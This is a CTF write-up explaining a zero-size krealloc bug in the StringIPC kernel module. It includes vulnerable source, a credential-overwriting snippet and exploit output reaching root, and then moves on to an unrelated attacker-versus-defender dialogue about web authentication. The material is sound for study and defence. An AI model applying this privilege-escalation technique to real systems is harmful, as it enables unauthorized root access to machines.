StringIPC CSAW CTF solution


CSAW CTF 2015 was this past weekend.  This year, three of the 15 teams solved the StringIPC challenge.

StringIPC is a kernel module providing a terrible IPC interface allowing processes to pass strings to one another.  Clients interface with the driver by allocating (or opening an existing IPC) “channel.”  Each channel is associated with a channel ID and buffer in kernel-land.  This buffer may be read or written to by clients and is used to pass messages between them. The size of this buffer is chosen by the user at allocation time, and clients may seek, grow, or shrink the buffer at any time.  The design of this challenge is in a similar vein to the 2013 challenge “Brad Oberberg.”

Each team was presented with unprivileged access to a Digital Ocean droplet running 64-bit Ubuntu 14.04.3 LTS.  The vulnerable kernel module StringIPC.ko was loaded on each system, and successful exploitation would allow for local privilege escalation and subsequent reading of the flag.

Source code to the kernel module was provided to each team and is available at: 

Tracing the Vulnerable Code Path

Clients may create a new channel with the CSAW_ALLOC_CHANNEL ioctl command.  When creating a new channel, the size of the allocated buffer is user-controlled and may be of arbitrary size (other than zero):

static long csaw_ioctl ( struct file *file, unsigned int cmd, unsigned long arg )
long ret = 0;
unsigned long *argp = (unsigned long *)arg;
struct ipc_state *state = file->private_data;

switch ( cmd )
struct alloc_channel_args alloc_channel;
struct ipc_channel *channel;

if ( copy_from_user(&alloc_channel, argp, sizeof(alloc_channel)) )
return -EINVAL;


if ( state->channel )
ret = -EBUSY;

ret = alloc_new_ipc_channel(alloc_channel.buf_size, &channel);
if ( ret < 0 ) 
int alloc_new_ipc_channel ( size_t buf_size, struct ipc_channel **out_channel )
int id; 
char *data;
struct ipc_channel *channel;

if ( ! buf_size )
return -EINVAL;

channel = kzalloc(sizeof(*channel), GFP_KERNEL);
if ( channel == NULL )
return -ENOMEM;

data = kzalloc(buf_size, GFP_KERNEL);
if ( data == NULL )
return -ENOMEM;


channel->data = data;
channel->buf_size = buf_size;

id = idr_alloc(&ipc_idr, channel, 1, 0, GFP_KERNEL);
if ( id < 0 ) {
return id;

channel->id = id;
*out_channel = channel;

return 0;

The channel ID, as well as the buffer pointer, size, and current index, are tracked in an ipc_channel struct:

struct ipc_channel {
struct kref ref;
int id;
char *data;
size_t buf_size;
loff_t index;

The state of each StringIPC session is maintained by the ipc_state struct stored in file->private_data. This keeps a pointer to the ipc_channel struct of the currently opened channel:

struct ipc_state {
struct ipc_channel *channel;
struct mutex lock;

Clients may later change the size of the channel buffer with the CSAW_GROW_CHANNELand CSAW_SHRINK_CHANNEL ioctl commands:

struct grow_channel_args grow_channel;

if ( copy_from_user(&grow_channel, argp, sizeof(grow_channel)) )
return -EINVAL;

ret = realloc_ipc_channel(state,, grow_channel.size, 1);


struct shrink_channel_args shrink_channel;

if ( copy_from_user(&shrink_channel, argp, sizeof(shrink_channel)) )
return -EINVAL;

ret = realloc_ipc_channel(state,, shrink_channel.size, 0);


Both of these commands call the helper function realloc_ipc_channel().  This function increases or decreases the size of a given channel’s buffer by an arbitrary, user-controlled value:

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
struct ipc_channel *channel;
size_t new_size;
char *new_data;

channel = get_channel_by_id(state, id);
if ( IS_ERR(channel) )
return PTR_ERR(channel);

if ( grow )
new_size = channel->buf_size + size;
new_size = channel->buf_size - size;

new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
if ( new_data == NULL )
return -EINVAL;

channel->data = new_data;
channel->buf_size = new_size;

ipc_channel_put(state, channel);

return 0;

The call to krealloc() in the bolded lines resizes the channel buffer itself.  This function allocates a new buffer of the given size, and if successful copies the contents, frees the old buffer, and returns the pointer to the new buffer.  If the allocation fails (due to memory pressure or an unreasonably large allocation size), krealloc() does not free the old buffer and instead returns NULL.  This is handled properly by the code above.

However, krealloc() (and friends such as kmalloc()) has a special case in the event of a zero-sized allocation.  Different heap implementations handle this case differently.  For instance, some heap implementations simply return NULL, some return a valid pointer to a zero-sized heap buffer, and some return a valid pointer to the smallest size heap buffer.  In the Linux kernel, zero-sized allocations return the dummy value ZERO_SIZE_PTR:

void *krealloc(const void *p, size_t new_size, gfp_t flags)
void *ret;

if (unlikely(!new_size)) {

ret = __do_krealloc(p, new_size, flags);
if (ret && p != ret)

return ret;

This dummy value is defined as:

#define ZERO_SIZE_PTR ((void *)16)

Passing ZERO_SIZE_PTR to kfree() is safe and effectively turns the function into a no-op. Further discussion about the motivations behind this value may be found at:

While the StringIPC function realloc_ipc_channel() checks the return value from krealloc() for NULL, it fails to check for ZERO_SIZE_PTR.  By providing a size variable calculated to set new_size to 0xffffffffffffffff, the addition of 1 results in a zero-sized allocation being requested.  The return value circumvents the NULL check, resulting in channel->data = 0x10 (16) and channel->data = 0xffffffffffffffff.

This effectively opens kernel memory for reading and writing through subsequent calls to the CSAW_SEEK_CHANNEL, CSAW_READ_CHANNEL, and CSAW_WRITE_CHANNEL ioctl commands. Thus, we achieve arbitrary kernel read and write primitives (at an offset of 0x10).

This vulnerability may be mitigated by checking if new_size is zero, or by checking the return value of krealloc() with ZERO_OR_NULL_PTR().

Exploitation Obstacles

As mentioned above, each team was given access to a Digital Ocean droplet running 64-bit Ubuntu.  Unlike previous years, a number of modern kernel security mitigations were enabled.  Specifically, SMEP was enabled and access to /proc/kallsyms and dmesg was removed.

SMEP (Supervisor Mode Execution Protection) is a security feature on modern Intel CPUs that disallows execution of user pages in kernel mode.  Since Linux uses a split-memory model where user and kernel share the same address space, Linux kernel exploits will traditionally overwrite a kernel function pointer and redirect execution to a payload mapped in userland.  While SMEP is enabled, this is no longer possible and results in an oops.

/proc/kallsyms is a user-accessible virtual file that lists the symbol names and addresses of all non-stack symbols in the kernel.  This is a major information leak and allows attackers to easily locate and target global kernel variables for memory corruption and find kernel functions to assist with privilege escalation.  On the challenge VM, the security setting /proc/sys/kernel/kptr_restrict is set to 1, meaning that every symbol will have an address of all zeroes.

Access to the kernel log provides an additional opportunity for information leakage due to the verbosity of certain drivers, which sometimes leak kernel addresses.  In addition, oops logs are printed here which contain a plethora of information about kernel crashes and dump sections of kernel memory. To disallow unprivileged access to the kernel log, the security setting /proc/sys/kernel/dmesg_restrict is set to 1 on the challenge VM.

To solve this challenge, contestants must develop an exploit in the presence of these security mitigations.

Achieving Local Privilege Escalation

With the ability to read and write arbitrary kernel memory, the exact technique to leak target objects and achieve privilege escalation is a matter of elegance and creativity. However, since CTF is a matter of developing fast and dirty exploits as quickly as possible to beat out other teams, let’s ignore the “elegance” and “creativity” elements of that statement.

To circumvent SMEP, I forewent obtaining kernel code execution and instead performed a data-only attack to locate and modify my process’ credentials in memory. To locate my creds in memory, I simply leaked the entire kernel heap and scanned for a unique signature generated by the exploit.  Thanks to the use of copy_to_user() and strncpy_from_user() in CSAW_READ_CHANNEL and CSAW_WRITE_CHANNEL, page faulting is gracefully handled and accesses to invalid kernel addresses are not fatal during this process.

Pointers to our creds are stored in the task_struct associated with our process. To locate these pointers, I employed a heuristic to search memory for nearby fields in the struct. Luckily, the user-controllable comm field is adjacent to the cred pointers:

struct task_struct {
const struct cred __rcu *real_cred;
const struct cred __rcu *cred;
char comm[TASK_COMM_LEN];

By setting comm (via prctl()) to a randomly generated string, we can scan kernel memory for this unique 16-byte string and verify that the previous two qwords look like valid kernel pointers.

After locating the cred pointers, the exploit then sets the uid/gid fields to 0 with the write primitive and escalates the process to root:

void escalate_creds ( int fd, int id, unsigned long cred_kaddr )
unsigned int i;
unsigned long tmp_kaddr;

 * The cred struct looks like:
 * atomic_tusage;
 * kuid_tuid;
 * kgid_tgid;
 * kuid_tsuid;
 * kgid_tsgid;
 * kuid_teuid;
 * kgid_tegid;
 * kuid_tfsuid;
 * kgid_tfsgid;
 * where each field is a 32-bit dword.Skip the first field and write
 * zeroes over the id fields to escalate to root.

/* Skip usage field */

tmp_kaddr = cred_kaddr + sizeof(int);

/* Now overwrite the id fields */

for ( i = 0; i < (sizeof(int) * 8); i++ )
write_kernel_null_byte(fd, id, tmp_kaddr + i);

Proof of Concept

The full exploit is available at:


$ ./exploit 
Generated comm signature: 'Q[(WOZ$iT/cza-0'
Allocated channel id 1
Shrank channel to -1 bytes
Mapped buffer 0x7fbd90a87000:0x1000
Scanning kernel memory for comm signature...
Found comm signature at 0xffff88001b0e04c0
read_cred = 0xffff880000020cc0
cred = 0xffff880000020cc0
Got root! Enjoy your shell...
# id
uid=0(root) gid=0(root) groups=0(root),1000(csaw)
# cat /root/flag
flag{looking at your application and I'm salivatin' cuz you failed validation on sized allocations}

For those who wonder what a Digital authentication cyber arms race looks like

It is heavy on the technical content but is entertaining if you spend the time understanding the language.

Defender: Users will enter a username & password, and I will give them an authentication cookie for me to trust in the future.
Attacker: I will watch your network traffic and steal the passwords as they come down the wire.
Defender: I will change the html form to submit over HTTPS, so you won’t see any readable passwords.
Attacker: I will run an active MITM attack as the user loads the login page, and insert Javascript that sends the password to my server in the background.
Defender: I will serve the login page itself over HTTPS too, so you won’t be able to read or change it.
Attacker: I will watch your network traffic and steal the resulting authentication cookies, so I can still impersonate users even without knowing the password.
Defender: I will serve the entire site over HTTPS (and mark the cookie as Secure), so you won’t be able to see any cookies.
Attacker: I will run an active MITM attack against your entire site and serve it over HTTP, letting me see all of your traffic (including passwords and cookies) again.
Defender: I will serve a Strict-Transport-Security header, telling the browser to always refuse to load my site over HTTP (assuming the user has already visited the site over a trusted connection to establish a trust anchor).
Attacker: I will find or compromise a shady certificate authority and get my own certificate for your domain name, letting me run my MITM attack and still serve HTTPS.
Defender: I will serve a Public-Key-Pins header, telling the browser to refuse to load my site with any certificate other than the one I specify.

At this point, there is no reasonable way for the attacker to run an MITM attack without first compromising the browser.

Attacker: I will make a fake login page and phish users for passwords.
Defender: I will add two-factor authentication, making your stolen passwords useless without the non-reusable second factor.
Attacker: I will change my phishing page to request a second factor as well, then immediately use it to log in once. (this will give the attacker a single login session with no way of logging in again, but that is often enough to cause harm)
Defender: I will replace my SMS or TOTP second factor with a private key on a tamper-resistant hardware device, rendering an MITM attack completely unable to use the stolen credential (the private key is used to sign a challenge from the server, and never leaves the device). This also prevents phishing attacks, since the browser will incorporate the site origin into the challenge signed by the private key, and will refuse to send a challenge signed for the defender’s server to any other origin. This is only possible because the browser actively cooperates, unlike purely web-based solutions like SQRL.

Private keys, such as U2F devices, are unphishable credentials; it is now completely impossible for anyone who does not have physical posession of the private key to authenticate. Note that this assumes that the hardware device is trusted; if the attacker can swap the device for a device with a known private key, all bets are off. Also note that you should still use a password in conjuction with the hardware device, to prevent an attacker from simply stealing the device (if the device itself requires a password to operate, that’s also fine).

Attacker: I will trick the user into installing a malicious browser extension or desktop application, then use it to read the authentication cookie from the browser’s cookie jar.
Defender: I will use channel-bound cookies, linking my authentication cookie to the private key used to generate the SSL connection. This way, the authentication cookie will only work in an HTTPS session backed by the same private key, preventing the attacker from using it on his computer.
Attacker: I will change my malicious code to exfiltrate the private key as well as the authentication cookie, allowing me to completely clone the SSL connection on my machine, and still use the cookie.
Defender: I will hope that the user’s browser signs its HTTPS connections with a hardware-based private key (hardware-backed token binding), preventing the attacker from cloning the SSL session without access to that private key (which never leaves the hardware device).
Attacker: I will change my malicious code to run a reverse proxy through the user’s browser, sending my arbitrary requests through the same token-bound SSL session as the user’s actual requests.
Defender: I will encourage users to use a platform & browser that does not allow processes or extensions to interact with security contexts for other origins. This way, the attacker’s malicious code will not be able to read my cookies or send requests to my site.

Assuming no application-level vulnerabilities (such as XSS or CSRF), and no vulnerabilities in the platform itself, such a platform would be completely secure against any kind of attack. Unfortunately, I am not aware of any such platform that also supports unphishable credentials. Chrome OS supports unphishable credentials, but offers no way to prevent extensions from sending HTTP requests to your origin. Most mobile browsers (on non-rooted devices) do not support extensions at all, but do not currently support unphishable credentials.
— Laks